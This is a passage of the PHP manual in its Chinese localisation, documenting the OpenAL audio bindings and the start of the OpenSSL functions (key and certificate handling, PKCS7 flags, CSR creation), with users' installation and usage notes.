/* Open file for appending.  This will "chain" a second OGG stream at the end of the first. */
$ogg = fopen('ogg://mysong.ogg', 'a', false, $context);

$pcm = fopen('mysample.pcm', 'r');

/* Compress the raw PCM audio from mysample.pcm into mysong.ogg */
stream_copy_to_stream($pcm, $ogg);

fclose($pcm);
fclose($ogg);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oggvorbis | 上一级 | OpenAL Audio Bindings


OpenAL Audio Bindings

PHP 手册
后退 前进

XCVI. OpenAL Audio Bindings

简介

Platform independent audio bindings. Requires the OpenAL library.

安装

本 PECL 扩展未绑定于 PHP 中。

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/openal.

可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

This extension defines four resource types:
Open AL(Device) - Returned by openal_device_open(),
Open AL(Context) - Returned by openal_context_create(),
Open AL(Buffer) - Returned by openal_buffer_create(),
and Open AL(Source) - Returned by openal_source_create().

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

ALC_FREQUENCY (integer)

Context Attribute

ALC_REFRESH (integer)

Context Attribute

ALC_SYNC (integer)

Context Attribute

AL_FREQUENCY (integer)

Buffer Setting

AL_BITS (integer)

Buffer Setting

AL_CHANNELS (integer)

Buffer Setting

AL_SIZE (integer)

Buffer Setting

AL_BUFFER (integer)

Source/Listener Setting (Integer)

AL_SOURCE_RELATIVE (integer)

Source/Listener Setting (Integer)

AL_SOURCE_STATE (integer)

Source/Listener Setting (Integer)

AL_PITCH (integer)

Source/Listener Setting (Float)

AL_GAIN (integer)

Source/Listener Setting (Float)

AL_MIN_GAIN (integer)

Source/Listener Setting (Float)

AL_MAX_GAIN (integer)

Source/Listener Setting (Float)

AL_MAX_DISTANCE (integer)

Source/Listener Setting (Float)

AL_ROLLOFF_FACTOR (integer)

Source/Listener Setting (Float)

AL_CONE_OUTER_GAIN (integer)

Source/Listener Setting (Float)

AL_CONE_INNER_ANGLE (integer)

Source/Listener Setting (Float)

AL_CONE_OUTER_ANGLE (integer)

Source/Listener Setting (Float)

AL_REFERENCE_DISTANCE (integer)

Source/Listener Setting (Float)

AL_POSITION (integer)

Source/Listener Setting (Float Vector)

AL_VELOCITY (integer)

Source/Listener Setting (Float Vector)

AL_DIRECTION (integer)

Source/Listener Setting (Float Vector)

AL_ORIENTATION (integer)

Source/Listener Setting (Float Vector)

AL_FORMAT_MONO8 (integer)

PCM Format

AL_FORMAT_MONO16 (integer)

PCM Format

AL_FORMAT_STEREO8 (integer)

PCM Format

AL_FORMAT_STEREO16 (integer)

PCM Format

AL_INITIAL (integer)

Source State

AL_PLAYING (integer)

Source State

AL_PAUSED (integer)

Source State

AL_STOPPED (integer)

Source State

AL_LOOPING (integer)

Source State

AL_TRUE (integer)

Boolean value recognized by OpenAL

AL_FALSE (integer)

Boolean value recognized by OpenAL

目录
openal_buffer_create -- Generate OpenAL buffer
openal_buffer_data -- Load a buffer with data
openal_buffer_destroy -- Destroys an OpenAL buffer
openal_buffer_get -- Retrieve an OpenAL buffer property
openal_buffer_loadwav -- Load a .wav file into a buffer
openal_context_create -- Create an audio processing context
openal_context_current -- Make the specified context current
openal_context_destroy -- Destroys a context
openal_context_process -- Process the specified context
openal_context_suspend -- Suspend the specified context
openal_device_close -- Close an OpenAL device
openal_device_open -- Initialize the OpenAL audio layer
openal_listener_get -- Retrieve a listener property
openal_listener_set -- Set a listener property
openal_source_create -- Generate a source resource
openal_source_destroy -- Destroy a source resource
openal_source_get -- Retrieve an OpenAL source property
openal_source_pause -- Pause the source
openal_source_play -- Start playing the source
openal_source_rewind -- Rewind the source
openal_source_set -- Set source property
openal_source_stop -- Stop playing the source
openal_stream -- Begin streaming on a source

add a note add a note User Contributed Notes
ganswijk at xs4all dot nl
01-Feb-2005 09:20
There is no explanation about what OpenAL actually is and you first have to follow quite a lot of links and download an SDK (from the Creative site) to get information about what OpenAL actually is, but here is what I understand it is:

It's a new standard to create a kind of 3D sound landscape in the way that OpenGL creates a visual 3D landscape. It's not a general sound card interface (as I was looking for). It doesn't handle MIDI and it can't handle sound input (yet).

I was hoping that I could experiment with a kind of homebrewed VoIP with this library but that's not the case.

BTW. The "links to the DLL", don't actually lead to an DLL and finding one is very hard and I haven't found one yet, but at least I know now that I don't have to search any further.

For the beautiful people making this excellent PHP site the great resource it is: Feel free to use this email as you seem fit...
add a note add a note

后退 | 起点 | 前进
Usage | 上一级 | openal_buffer_create


openal_buffer_create

(PECL)

openal_buffer_create -- Generate OpenAL buffer

说明

resource openal_buffer_create ( void )

返回值

Returns an Open AL(Buffer) resource on success or FALSE on failure.

参见

openal_buffer_loadwav()
openal_buffer_data()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OpenAL Audio Bindings | 上一级 | openal_buffer_data


openal_buffer_data

(PECL)

openal_buffer_data -- Load a buffer with data

说明

bool openal_buffer_data ( resource buffer, int format, string data, int freq )

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 和 AL_FORMAT_STEREO16

data

Block of binary audio data in the format and freq specified.

frew

Frequency of data given in Hz.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_buffer_loadwav()
openal_stream()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_buffer_create | 上一级 | openal_buffer_destroy


openal_buffer_destroy

(PECL)

openal_buffer_destroy -- Destroys an OpenAL buffer

说明

bool openal_buffer_destroy ( resource buffer )

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_buffer_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_buffer_data | 上一级 | openal_buffer_get


openal_buffer_get

(PECL)

openal_buffer_get -- Retrieve an OpenAL buffer property

说明

int openal_buffer_get ( resource buffer, int property )

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

property

Specific property, one of: AL_FREQUENCY, AL_BITS, AL_CHANNELS 和 AL_SIZE.

返回值

Returns an integer value appropriate to the property requested or FALSE on failure.

参见

openal_buffer_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_buffer_destroy | 上一级 | openal_buffer_loadwav


openal_buffer_loadwav

(PECL)

openal_buffer_loadwav -- Load a .wav file into a buffer

说明

bool openal_buffer_loadwav ( resource buffer, string wavfile )

参数

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

wavfile

Path to .WAV file on local file system.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_buffer_data()
openal_stream()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_buffer_get | 上一级 | openal_context_create


openal_context_create

(PECL)

openal_context_create -- Create an audio processing context

说明

resource openal_context_create ( resource device )

参数

device

An Open AL(Device) resource (previously created by openal_device_open()).

返回值

Returns an Open AL(Context) resource on success or FALSE on failure.

参见

openal_device_open()
openal_context_destroy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_buffer_loadwav | 上一级 | openal_context_current


openal_context_current

(PECL)

openal_context_current -- Make the specified context current

说明

bool openal_context_current ( resource context )

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_context_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_context_create | 上一级 | openal_context_destroy


openal_context_destroy

(PECL)

openal_context_destroy -- Destroys a context

说明

bool openal_context_destroy ( resource context )

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_context_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_context_current | 上一级 | openal_context_process


openal_context_process

(PECL)

openal_context_process -- Process the specified context

说明

bool openal_context_process ( resource context )

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_context_create()
openal_context_current()
openal_context_suspend()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_context_destroy | 上一级 | openal_context_suspend


openal_context_suspend

(PECL)

openal_context_suspend -- Suspend the specified context

说明

bool openal_context_suspend ( resource context )

参数

context

An Open AL(Context) resource (previously created by openal_context_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_context_create()
openal_context_current()
openal_context_process()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_context_process | 上一级 | openal_device_close


openal_device_close

(PECL)

openal_device_close -- Close an OpenAL device

说明

bool openal_device_close ( resource device )

参数

device

An Open AL(Device) resource (previously created by openal_device_open()) to be closed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_device_open()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_context_suspend | 上一级 | openal_device_open


openal_device_open

(PECL)

openal_device_open -- Initialize the OpenAL audio layer

说明

resource openal_device_open ( [string device_desc] )

参数

device_desc

Open an audio device optionally specified by device_desc. If device_desc is not specified the first available audio device will be used.

返回值

Returns an Open AL(Device) resource on success or FALSE on failure.

参见

openal_device_close()
openal_context_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_device_close | 上一级 | openal_listener_get


openal_listener_get

(PECL)

openal_listener_get -- Retrieve a listener property

说明

mixed openal_listener_get ( int property )

参数

property

Property to retrieve, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) 和
AL_ORIENTATION (array(float,float,float)).

返回值

Returns a float or array of floats (as appropriate), or FALSE on failure.

参见

openal_listener_set()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_device_open | 上一级 | openal_listener_set


openal_listener_set

(PECL)

openal_listener_set -- Set a listener property

说明

bool openal_listener_set ( int property, mixed setting )

参数

property

Property to set, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) 和
AL_ORIENTATION (array(float,float,float)).

setting

Value to set, either float, or an array of floats as appropriate.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_listener_get()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_listener_get | 上一级 | openal_source_create


openal_source_create

(PECL)

openal_source_create -- Generate a source resource

说明

resource openal_source_create ( void )

返回值

Returns an Open AL(Source) resource on success or FALSE on failure.

参见

openal_source_set()
openal_source_play()
openal_source_destroy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_listener_set | 上一级 | openal_source_destroy


openal_source_destroy

(PECL)

openal_source_destroy -- Destroy a source resource

说明

bool openal_source_destroy ( resource source )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_create | 上一级 | openal_source_get


openal_source_get

(PECL)

openal_source_get -- Retrieve an OpenAL source property

说明

mixed openal_source_get ( resource source, int property )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to get, one of: AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

返回值

Returns the type associated with the property being retrieved or FALSE on failure.

参见

openal_source_create()
openal_source_set()
openal_source_play()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_destroy | 上一级 | openal_source_pause


openal_source_pause

(PECL)

openal_source_pause -- Pause the source

说明

bool openal_source_pause ( resource source )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_stop()
openal_source_play()
openal_source_rewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_get | 上一级 | openal_source_play


openal_source_play

(PECL)

openal_source_play -- Start playing the source

说明

bool openal_source_play ( resource source )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_stop()
openal_source_pause()
openal_source_rewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_pause | 上一级 | openal_source_rewind


openal_source_rewind

(PECL)

openal_source_rewind -- Rewind the source

说明

bool openal_source_rewind ( resource source )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_stop()
openal_source_pause()
openal_source_play()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_play | 上一级 | openal_source_set


openal_source_set

(PECL)

openal_source_set -- Set source property

说明

bool openal_source_set ( resource source, int property, mixed setting )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to set, one of: AL_BUFFER (OpenAL(Source)), AL_LOOPING (bool), AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

setting

Value to assign to specified property. Refer to the description of property for a description of the value(s) expected.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_create()
openal_source_get()
openal_source_play()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_rewind | 上一级 | openal_source_stop


openal_source_stop

(PECL)

openal_source_stop -- Stop playing the source

说明

bool openal_source_stop ( resource source )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

openal_source_play()
openal_source_pause()
openal_source_rewind()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_set | 上一级 | openal_stream


openal_stream

(PECL)

openal_stream -- Begin streaming on a source

说明

resource openal_stream ( resource source, int format, int rate )

参数

source

An Open AL(Source) resource (previously created by openal_source_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 和 AL_FORMAT_STEREO16

rate

Frequency of data to stream given in Hz.

返回值

Returns a stream resource on success, or FALSE on failure.

参见

openal_source_create()
fwrite()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openal_source_stop | 上一级 | OpenSSL Functions


OpenSSL Functions

PHP 手册
后退 前进

XCVII. OpenSSL Functions

简介

This module uses the functions of OpenSSL for generation and verification of signatures and for sealing (encrypting) and opening (decrypting) data. OpenSSL offers many features that this module currently doesn't support. Some of these may be added in the future.

需求

In order to use the OpenSSL functions you need to install the OpenSSL package. PHP between versions 4.0.5 and 4.3.1 will work with OpenSSL >= 0.9.5. Other versions (PHP <=4.0.4pl1 and >= 4.3.2) require OpenSSL >= 0.9.6.

警告

You are strongly encouraged to use the most recent OpenSSL version, otherwise your web server could be vulnerable to attack.

安装

To use PHP's OpenSSL support you must also compile PHP --with-openssl[=DIR].

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy libeay32.dll from the DLL folder of the PHP/Win32 binary package to the SYSTEM32 folder of your windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32)

Additionally, if you are planning to use the key generation and certificate signing functions, you will need to install a valid openssl.cnf on your system. As of PHP 4.3.0, we include a sample configuration file in the openssl folder of our win32 binary distribution. If you are using PHP 4.2.0 or later and are missing the file, you can obtain it from the OpenSSL home page or by downloading the PHP 4.3.0 release and using the configuration file from there.

Note to Win32 Users: PHP will search for the openssl.cnf using the following logic:

  • the OPENSSL_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.

  • the SSLEAY_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.

  • The file openssl.cnf will be assumed to be found in the default certificate area, as configured at the time that the openssl DLL was compiled. This is usually means that the default filename is c:\usr\local\ssl\openssl.cnf.

In your installation, you need to decide whether to install the configuration file at c:\usr\local\ssl\openssl.cnf or whether to install it someplace else and use environmental variables (possibly on a per-virtual-host basis) to locate the configuration file. Note that it is possible to override the default path from the script using the configargs of the functions that require a configuration file.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

Key/Certificate parameters

Quite a few of the openssl functions require a key or a certificate parameter. PHP 4.0.5 and earlier have to use a key or certificate resource returned by one of the openssl_get_xxx functions. Later versions may use one of the following methods:

  • Certificates

    1. An X.509 resource returned from openssl_x509_read()

    2. A string having the format file://path/to/cert.pem; the named file must contain a PEM encoded certificate

    3. A string containing the content of a certificate, PEM encoded

  • Public/Private Keys

    1. A key resource returned from openssl_get_publickey() or openssl_get_privatekey()

    2. For public keys only: an X.509 resource

    3. A string having the format file://path/to/file.pem - the named file must contain a PEM encoded certificate/private key (it may contain both)

    4. A string containing the content of a certificate/key, PEM encoded

    5. For private keys, you may also use the syntax array($key, $passphrase) where $key represents a key specified using the file:// or textual content notation above, and $passphrase represents a string containing the passphrase for that private key

Certificate Verification

When calling a function that will verify a signature/certificate, the cainfo parameter is an array containing file and directory names that specify the locations of trusted CA files. If a directory is specified, then it must be a correctly formed hashed directory as the openssl command would use.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Purpose checking flags

X509_PURPOSE_SSL_CLIENT (integer)

X509_PURPOSE_SSL_SERVER (integer)

X509_PURPOSE_NS_SSL_SERVER (integer)

X509_PURPOSE_SMIME_SIGN (integer)

X509_PURPOSE_SMIME_ENCRYPT (integer)

X509_PURPOSE_CRL_SIGN (integer)

X509_PURPOSE_ANY (integer)

Padding flags

OPENSSL_PKCS1_PADDING (integer)

OPENSSL_SSLV23_PADDING (integer)

OPENSSL_NO_PADDING (integer)

OPENSSL_PKCS1_OAEP_PADDING (integer)

Key types

OPENSSL_KEYTYPE_RSA (integer)

OPENSSL_KEYTYPE_DSA (integer)

OPENSSL_KEYTYPE_DH (integer)

PKCS7 Flags/Constants

The S/MIME functions make use of flags which are specified using a bitfield which can include one or more of the following values:

表格 1. PKCS7 CONSTANTS

Constant | Description
PKCS7_TEXT | Adds text/plain content type headers to encrypted/signed message. If decrypting or verifying, it strips those headers from the output - if the decrypted or verified message is not of MIME type text/plain then an error will occur.
PKCS7_BINARY | Normally the input message is converted to "canonical" format which is effectively using CR and LF as end of line: as required by the S/MIME specification. When this options is present, no translation occurs. This is useful when handling binary data which may not be in MIME format.
PKCS7_NOINTERN | When verifying a message, certificates (if any) included in the message are normally searched for the signing certificate. With this option only the certificates specified in the extracerts parameter of openssl_pkcs7_verify() are used. The supplied certificates can still be used as untrusted CAs however.
PKCS7_NOVERIFY | Do not verify the signers certificate of a signed message.
PKCS7_NOCHAIN | Do not chain verification of signers certificates: that is don't use the certificates in the signed message as untrusted CAs.
PKCS7_NOCERTS | When signing a message the signer's certificate is normally included - with this option it is excluded. This will reduce the size of the signed message but the verifier must have a copy of the signers certificate available locally (passed using the extracerts to openssl_pkcs7_verify() for example).
PKCS7_NOATTR | Normally when a message is signed, a set of attributes are included which include the signing time and the supported symmetric algorithms. With this option they are not included.
PKCS7_DETACHED | When signing a message, use cleartext signing with the MIME type multipart/signed. This is the default if you do not specify any flags to openssl_pkcs7_sign(). If you turn this option off, the message will be signed using opaque signing, which is more resistant to translation by mail relays but cannot be read by mail agents that do not support S/MIME.
PKCS7_NOSIGS | Don't try and verify the signatures on a message

注: These constants were added in 4.0.6.

目录
openssl_csr_export_to_file -- Exports a CSR to a file
openssl_csr_export -- Exports a CSR as a string
openssl_csr_new -- Generates a CSR
openssl_csr_sign -- Sign a CSR with another certificate (or itself) and generate a certificate
openssl_error_string -- Return openSSL error message
openssl_free_key -- Free key resource
openssl_get_privatekey -- 别名 openssl_pkey_get_private()
openssl_get_publickey -- 别名 openssl_pkey_get_public()
openssl_open -- Open sealed data
openssl_pkcs7_decrypt -- Decrypts an S/MIME encrypted message
openssl_pkcs7_encrypt -- Encrypt an S/MIME message
openssl_pkcs7_sign -- Sign an S/MIME message
openssl_pkcs7_verify -- Verifies the signature of an S/MIME signed message
openssl_pkey_export_to_file -- Gets an exportable representation of a key into a file
openssl_pkey_export -- Gets an exportable representation of a key into a string
openssl_pkey_free -- Frees a private key
openssl_pkey_get_private -- Get a private key
openssl_pkey_get_public -- Extract public key from certificate and prepare it for use
openssl_pkey_new -- Generates a new private key
openssl_private_decrypt -- Decrypts data with private key
openssl_private_encrypt -- Encrypts data with private key
openssl_public_decrypt -- Decrypts data with public key
openssl_public_encrypt -- Encrypts data with public key
openssl_seal -- Seal (encrypt) data
openssl_sign -- Generate signature
openssl_verify -- Verify signature
openssl_x509_check_private_key -- Checks if a private key corresponds to a certificate
openssl_x509_checkpurpose -- Verifies if a certificate can be used for a particular purpose
openssl_x509_export_to_file -- Exports a certificate to file
openssl_x509_export -- Exports a certificate as a string
openssl_x509_free -- Free certificate resource
openssl_x509_parse -- Parse an X509 certificate and return the information as an array
openssl_x509_read -- Parse an X.509 certificate and return a resource identifier for it

add a note add a note User Contributed Notes
peter dot mescalchin @ geemail dot com
16-May-2006 04:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm
17-Nov-2005 12:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com
09-Nov-2005 04:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org
09-Nov-2005 02:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater
31-Aug-2005 07:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater
31-Aug-2005 12:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net
20-Oct-2004 08:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net
17-Sep-2004 02:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org
03-Feb-2004 02:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman
add a note add a note

后退 | 起点 | 前进
openal_stream | 上一级 | openssl_csr_export_to_file


openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export_to_file -- Exports a CSR to a file

Description

bool openssl_csr_export_to_file ( resource csr, string outfilename [, bool notext] )

openssl_csr_export_to_file() takes the Certificate Signing Request represented by csr and saves it as ascii-armoured text into the file named by outfilename.

The optional parameter notext affects the verbosity of the output; if it is FALSE then additional human-readable information is included in the output. The default value of notext is TRUE.

如果成功则返回 TRUE，失败则返回 FALSE。

See also openssl_csr_export(),
openssl_csr_new() and
openssl_csr_sign().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OpenSSL Functions | 上一级 | openssl_csr_export


openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export -- Exports a CSR as a string

Description

bool openssl_csr_export ( resource csr, string &out [, bool notext] )

openssl_csr_export() takes the Certificate Signing Request represented by csr and stores it as ascii-armoured text into out, which is passed by reference.

The optional parameter notext affects the verbosity of the output; if it is FALSE then additional human-readable information is included in the output. The default value of notext is TRUE.

如果成功则返回 TRUE，失败则返回 FALSE。

See also openssl_csr_export_to_file(),
openssl_csr_new() and
openssl_csr_sign().

add a note add a note User Contributed Notes
carlos AT wfmh DOT org DOT pl
27-Jun-2002 10:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                 )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.
add a note add a note

后退 | 起点 | 前进
openssl_csr_export_to_file | 上一级 | openssl_csr_new


openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_new -- Generates a CSR

Description

mixed openssl_csr_new ( array dn, resource &privkey [, array configargs [, array extraattribs]] )

openssl_csr_new() generates a new CSR (Certificate Signing Request) based on the information provided by dn, which represents the Distinguished Name to be used in the certificate.

privkey should be set to a private key that was previously generated by openssl_pkey_new() (or otherwise obtained from the other openssl_pkey family of functions). The corresponding public portion of the key will be used to sign the CSR.

extraattribs is used to specify additional configuration options for the CSR. Both dn and extraattribs are associative arrays whose keys are converted to OIDs and applied to the relevant part of the request.

注: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

By default, the information in your system openssl.conf is used to initialize the request; you can specify a configuration file section by setting the config_section_section key of configargs. You can also specify an alternative openssl configuration file by setting the value of the config key to the path of the file you want to use. The following keys, if present in configargs behave as their equivalents in the openssl.conf, as listed in the table below.

表格 1. Configuration overrides

configargs key | type | openssl.conf equivalent | description
digest_alg | string | default_md | Selects which digest method to use
x509_extensions | string | x509_extensions | Selects which extensions should be used when creating an x509 certificate
req_extensions | string | req_extensions | Selects which extensions should be used when creating a CSR
private_key_bits | string | default_bits | Specifies how many bits should be used to generate a private key
private_key_type | integer | none | Specifies the type of private key to create. This can be one of OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH or OPENSSL_KEYTYPE_RSA. The default value is OPENSSL_KEYTYPE_RSA which is currently the only supported key type.
encrypt_key | boolean | encrypt_key | Should an exported key (with passphrase) be encrypted?

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. openssl_csr_new() example - creating a self-signed-certificate

<?php
// Fill in data for the distinguished name to be used in the cert
// You must change the values of these keys to match your name and
// company, or more precisely, the name and company of the person/site
// that you are generating the certificate for.
// For SSL certificates, the commonName is usually the domain name of
// that will be using the certificate, but for S/MIME certificates,
// the commonName will be the name of the individual who will use the
// certificate.
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new();

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey);
